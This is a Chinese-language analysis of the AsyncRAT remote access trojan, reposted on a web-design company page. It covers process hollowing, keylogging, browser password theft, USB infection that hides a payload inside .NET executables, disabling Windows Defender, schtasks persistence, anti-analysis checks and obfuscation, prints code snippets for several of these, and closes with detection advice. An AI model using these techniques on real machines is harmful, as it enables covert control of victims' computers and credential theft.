AsyncRAT利用分析

0x01 简介

创新互联公司专注于网站建设，为客户提供网站设计、网站制作、网页设计开发服务，多年建网站服务经验，各类网站都可以开发，成都品牌网站建设，公司官网，公司展示网站，网站设计，建网站费用，建网站多少钱，价格优惠，收费合理。

· AsyncRAT的优点

· AsyncRAT的技术细节

· 检测方法

0x02 AsyncRAT的优点

AsyncRAT使用C Sharp开发，应用于Windows系统，具有以下优点:

1. 支持从Pastebin.com读取C2服务器的配置信息；

2. 支持内存加载PE文件；

3. 支持动态编译并执行C#或者VB代码；

4. 支持U盘感染，能够感染U盘中所有使用.NET开发的exe文件；

5. 支持自动读取Firefox和Chrome浏览器中保存的密码；

6. 通过欺骗用户点击的方式绕过UAC进行提权；

7. 通过C#接口技术，提高程序的扩展性，在程序实现上将每一个功能对应一个类，编译成dll文件，在需要加载的时候，由Server发送至Client，Client通过Activator.CreateInstance将类实例化，进而调用类的方法。

0x03 AsyncRAT的技术细节

本节按照AsyncRAT控制面板上的功能逐个进行分析，如下图：

1.SendFile

(1)ToMemory

内存加载exe文件，支持以下两种类型：

· Reflection

· 使用Assembly.Load加载C#程序

更多细节可参考之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》。

· RunPE

· 通过替换进程内存的方式加载exe文件

可选择以下程序作为被注入的程序：

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注：

· 以上5个exe文件位于Microsoft.NET Framework的安装目录，同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session，默认会寻找32位Microsoft.NET Framework的安装目录，例如：C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反弹回的Session，默认会寻找64位Microsoft.NET Framework的安装目录，例如：C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作将启动以上5个exe文件中的一个，通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改，替换成要加载的exe文件

· 这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session，使用RunPE操作只能加载32位的exe文件

· 使用64位的AsyncClient.exe反弹回的Session，使用RunPE操作只能加载64位的exe文件

更多细节可参考之前的文章《傀儡进程的实现与检测》

(2)ToDisk

将exe文件上传到目标主机的%Temp%目录，重命名为随机字符串，再使用Powershell启动exe文件，执行后不会删除%Temp%目录下的exe文件。

2. Monitoring

(1)Remote Desktop

· 监控屏幕，实时获得目标桌面的内容(只能监控，无法操作)

· 调用Graphics类的CopyFromScreen实现屏幕截图

通过Python实现监控屏幕的细节可参考之前的文章《Pupy利用分析——Windows平台下的屏幕控制》。

(2)Keylogger

· 实时获得目标主机键盘输入的消息和进程名称

· 通过hook的方式实现键盘记录

(3)Password Recovery

· 获得Firefox和Chrome浏览器中保存的密码

技术细节可参考之前的文章《渗透技巧——导出Firefox浏览器中保存的密码》和《渗透技巧——导出Chrome浏览器中保存的密码》。

(4)File Manager

· 文件管理，还支持隐蔽安装7zip和对文件的压缩及解压缩

隐蔽安装7zip的方式：

· 在%Temp%目录新建文件夹7-Zip，释放文件7z.exe和7z.dll

(5)Process Manager

· 进程管理，支持查看进程和关闭进程

(6)Report Window

· 监控重要进程，当目标主机上运行指定进程时，控制端弹出提示消息

(7)Webcam

· 开启摄像头

3.Miscellaneous

(1)Bots Killer

清除自身进程在注册表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的项。

(2)USB Spread

1. 当目标主机连接U盘时，感染U盘中的文件。

2. 将木马客户端复制到U盘中并隐藏，默认保存的名称为LimeUSB.exe。

修改U盘中所有使用.NET开发的exe文件，通过CSharpCodeProvider改变程序运行流程，添加以下代码：

 
 
 
 
    
  
  
  
  
  1. using System; 
    2.   
  
  
  
  2. using System.Diagnostics; 
    3.   
  
  
  
  3. using System.Reflection; 
    4.   
  
  
  
  4. using System.Runtime.InteropServices; 
    5.   
  
  
  
  5.  
    6.   
  
  
  
  6. [assembly: AssemblyTrademark("%Lime%")] 
    7.   
  
  
  
  7. [assembly: Guid("%Guid%")] 
    8.   
  
  
  
  8.  
    9.   
  
  
  
  9. static class %LimeUSBModule% 
    10.   
  
  
  
  10. { 
    11.   
  
  
  
  11.     public static void Main() 
    12.   
  
  
  
  12.     { 
    13.   
  
  
  
  13.         try 
    14.   
  
  
  
  14.         { 
    15.   
  
  
  
  15.             System.Diagnostics.Process.Start(@"%File%"); 
    16.   
  
  
  
  16.         } 
    17.   
  
  
  
  17.         catch { } 
    18.   
  
  
  
  18.         try 
    19.   
  
  
  
  19.         { 
    20.   
  
  
  
  20.             System.Diagnostics.Process.Start(@"%Payload%"); 
    21.   
  
  
  
  21.         } 
    22.   
  
  
  
  22.         catch { } 
    23.   
  
  
  
  23.     } 
    24.   
  
  
  
  24. } 
    25.

用户在启动正常文件的同时会隐蔽执行U盘中的木马客户端。

(3)Seed Torrent

· 向目标主机发送种子文件并下载

· 目标主机需要安装uTorrent或者BitTorrent

(4)Remote Shell

· 弹出一个交互式的cmd窗口

(5)DOS Attack

· 向指定域名持续发送HTTP数据包

(6)Execute .NET Code

· 在目标主机上动态编译C#或者VB代码并执行

· 模板文件包含弹框和下载执行的功能

我提取出了其中编译C#代码并执行的功能，代码示例如下：

 
 
 
 
    
  
  
  
  
  1. using System; 
    2.   
  
  
  
  2. using System.CodeDom; 
    3.   
  
  
  
  3. using System.CodeDom.Compiler; 
    4.   
  
  
  
  4. using System.Reflection; 
    5.   
  
  
  
  5. namespace CodeDomProviderTest 
    6.   
  
  
  
  6. { 
    7.   
  
  
  
  7.     class Program 
    8.   
  
  
  
  8.     { 
    9.   
  
  
  
  9.         static void Main(string[] args) 
    10.   
  
  
  
  10.         { 
    11.   
  
  
  
  11.             string source = @" 
    12.   
  
  
  
  12. using System; 
    13.   
  
  
  
  13. using System.Windows.Forms; 
    14.   
  
  
  
  14. namespace AsyncRAT 
    15.   
  
  
  
  15. { 
    16.   
  
  
  
  16.     public class Program 
    17.   
  
  
  
  17.     { 
    18.   
  
  
  
  18.         public static void Main(string[] args) 
    19.   
  
  
  
  19.         { 
    20.   
  
  
  
  20.             try 
    21.   
  
  
  
  21.             { 
    22.   
  
  
  
  22.                 MessageBox.Show(""Hello World""); 
    23.   
  
  
  
  23.             } 
    24.   
  
  
  
  24.             catch { } 
    25.   
  
  
  
  25.         } 
    26.   
  
  
  
  26. } 
    27.   
  
  
  
  27. }"; 
    28.   
  
  
  
  28.             CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");   
    29.   
  
  
  
  29.             try 
    30.   
  
  
  
  30.             {               
    31.   
  
  
  
  31.                 var compilerOptions = "/target:winexe /platform:anycpu /optimize-"; 
    32.   
  
  
  
  32.  
    33.   
  
  
  
  33.                 var compilerParameters = new CompilerParameters(); 
    34.   
  
  
  
  34.                 compilerParameters.ReferencedAssemblies.Add("system.dll"); 
    35.   
  
  
  
  35.                 compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll"); 
    36.   
  
  
  
  36.                 compilerParameters.GenerateExecutable = true; 
    37.   
  
  
  
  37.                 compilerParameters.GenerateInMemory = true; 
    38.   
  
  
  
  38.                 compilerParameters.CompilerOptions = compilerOptions; 
    39.   
  
  
  
  39.                 compilerParameters.TreatWarningsAsErrors = false; 
    40.   
  
  
  
  40.                 compilerParameters.IncludeDebugInformation = false; 
    41.   
  
  
  
  41.  
    42.   
  
  
  
  42.                 var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); 
    43.   
  
  
  
  43.                 if (compilerResults.Errors.Count > 0) 
    44.   
  
  
  
  44.                 { 
    45.   
  
  
  
  45.                     foreach (CompilerError compilerError in compilerResults.Errors) 
    46.   
  
  
  
  46.                     { 
    47.   
  
  
  
  47.                         Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, 
    48.   
  
  
  
  48.                             compilerError.Line, compilerError.Column, compilerError.FileName)); 
    49.   
  
  
  
  49.                         break; 
    50.   
  
  
  
  50.                     } 
    51.   
  
  
  
  51.                 } 
    52.   
  
  
  
  52.                 else 
    53.   
  
  
  
  53.                 { 
    54.   
  
  
  
  54.                     Assembly assembly = compilerResults.CompiledAssembly; 
    55.   
  
  
  
  55.                     MethodInfo methodInfo = assembly.EntryPoint; 
    56.   
  
  
  
  56.                     object injObj = assembly.CreateInstance(methodInfo.Name); 
    57.   
  
  
  
  57.                     object[] parameters = new object[1]; 
    58.   
  
  
  
  58.                     if (methodInfo.GetParameters().Length == 0) 
    59.   
  
  
  
  59.                     { 
    60.   
  
  
  
  60.                         parameters = null; 
    61.   
  
  
  
  61.                     } 
    62.   
  
  
  
  62.                     methodInfo.Invoke(injObj, parameters); 
    63.   
  
  
  
  63.                 } 
    64.   
  
  
  
  64.             } 
    65.   
  
  
  
  65.             catch (Exception ex) 
    66.   
  
  
  
  66.             { 
    67.   
  
  
  
  67.                 Console.WriteLine(ex.Message); 
    68.   
  
  
  
  68.             } 
    69.   
  
  
  
  69.         } 
    70.   
  
  
  
  70.     } 
    71.   
  
  
  
  71. } 
    72.

(7)Files Searcher

· 搜索指定后缀名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 启动默认浏览器并访问指定URL，界面不隐藏

(2)Send MessageBox

· 在目标主机上弹出对话框

(3)Chat

· 在目标主机上弹出对话框，实时显示输入的内容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin权限重新启动木马客户端，这个操作会在用户桌面弹出UAC框，需要用户选择允许后才能运行；

2. 如果用户未选择允许，会一直弹出UAC对话框；

3. UAC对话框的程序位置会暴露木马客户端的路径；

4. 如果想要伪造一个更加可信的UAC对话框(不暴露程序位置)可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能：

通过WinAPI CreateDesktop()创建一个随机名称的虚拟桌面，内容为空，当切换到这个空的虚拟桌面时，用户无法对桌面进行操作。

Stop功能：

通过WinAPI SwitchDesktop()切换到原来的桌面。

(6)Disable Windows Defender

· 通过修改注册表的方式关闭Windows Defender，通常在Win10系统上使用

(7)Set Wallpaper

· 设置用户的桌面

5.Server

· Block Clients

· 拒绝指定IP回连的木马客户端

6.Builder

(1)Connection

DNS：指定C2 Server的IP，可以设置多个；

Port：指定C2 Server的端口，可以设置多个；

Pastebin：从Pastebin.com读取C2 Server的信息，包括DNS和Port。

内容示例：

 
 
 
 
    
  
  
  
  
  1. 127.0.0.1:6606:7707:8808 
    2.

(2)Install

1. 用作配置木马客户端自启动的功能；

2. 开启这个功能后会将木马客户端复制到指定位置；

3. 文件名称可以重新命名；

4. 文件路径可选择%AppData%或%Temp%目录；

5. 当木马客户端以普通用户权限执行时，会在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加项，以新的木马客户端名称作为注册表项的名称，以新的木马客户端路径作为注册表项的数据。

当木马客户端以管理员权限执行时，会使用schtasks命令创建计划任务，命令示例：

 
 
 
 
    
  
  
  
  
  1. schtasks /create /f /sc onlogon /rl highest /tn  /tr 
    2.

计划任务的名称为新的木马客户端名称，会在用户登录时执行计划任务。

(3)Misc

Group：对木马客户端进行分类；

Mutex：设置互斥量，避免木马客户端的重复启动；

Anti Analysis：

包括以下功能：

· DetectManufacturer，通过WMI获得系统信息(Select * from Win32_ComputerSystem)，查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger，使用WinApi CheckRemoteDebuggerPresent()检查是否为调试器

· DetectSandboxie，使用WinApi GetModuleHandle()检查SbieDll.dll是否存在

· IsSmallDisk，检查硬盘大小是否小于60Gb

· IsXP，检查系统名称是否包含字符xp

Process Critica：

将进程设置为保护进程，如果意外关闭了保护进程，那么将导致BSOD。

更多细节可参考之前的文章《结束进程导致BSOD的利用分析》。

Delay：延迟执行的时间

(4)Assembly

· 可以手动设置文件属性，也可以复制指定文件的文件属性

(5)Icon

· 设置文件图标

(6)Build

· Simple Obfuscator：通过重命名的方式实现简单的混淆

关键代码：

 
 
 
 
    
  
  
  
  
  1. private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) 
    2.   
  
  
  
  2.     { 
    3.   
  
  
  
  3.         ModuleDefMD module = inModule; 
    4.   
  
  
  
  4.         IRenaming rnm = new NamespacesRenaming(); 
    5.   
  
  
  
  5.         module = rnm.Rename(module); 
    6.   
  
  
  
  6.         rnm = new ClassesRenaming(); 
    7.   
  
  
  
  7.         module = rnm.Rename(module); 
    8.   
  
  
  
  8.         rnm = new MethodsRenaming(); 
    9.   
  
  
  
  9.         module = rnm.Rename(module); 
    10.   
  
  
  
  10.         rnm = new PropertiesRenaming(); 
    11.   
  
  
  
  11.         module = rnm.Rename(module); 
    12.   
  
  
  
  12.         rnm = new FieldsRenaming(); 
    13.   
  
  
  
  13.         module = rnm.Rename(module); 
    14.   
  
  
  
  14.         return module; 
    15.   
  
  
  
  15.     } 
    16.   
  
  
  
  16. } 
    17.

0x04 检测方法

1.查找可疑文件

路径：%AppData%和%Temp%目录。

2.使用Autoruns检查可疑的启动项

(1)注册表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)计划任务列表

3.后台可疑进程

· AsyncRAT的木马客户端只有exe文件一种形式，在运行时会产生可疑的进程

4.通信流量

· 查看可疑进程对外通信流量

5.使用杀毒软件

· 目前杀毒软件均会对AsyncRAT进行拦截

0x05 小结

本文在技术研究的角度分析AsyncRAT的技术细节，介绍检测方法。

新闻名称：AsyncRAT利用分析
分享地址：http://www.shufengxianlan.com/qtweb/news36/30036.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

响应式网站知识

行业网站建设

复盛机电设备　　 　成都400电话申请　　 　成都木托盘　　 　成都免费做网站公司　　 　网站方案　　 　邛崃网站建设　　 　免备案虚拟主机　　 　晟和广告　　 　成都关键词SEO优化　　 　成都微商城开发　　 　成都机柜租用　　 　微信小程序开发　　 　国泰民安消防　　 　成都网站建设公司　　 　企业网站设计　　 　电信机房托管　　 　培训网站方案　　 　兴发搬家　　 　德阳电信机房　　 　重庆电商网站定制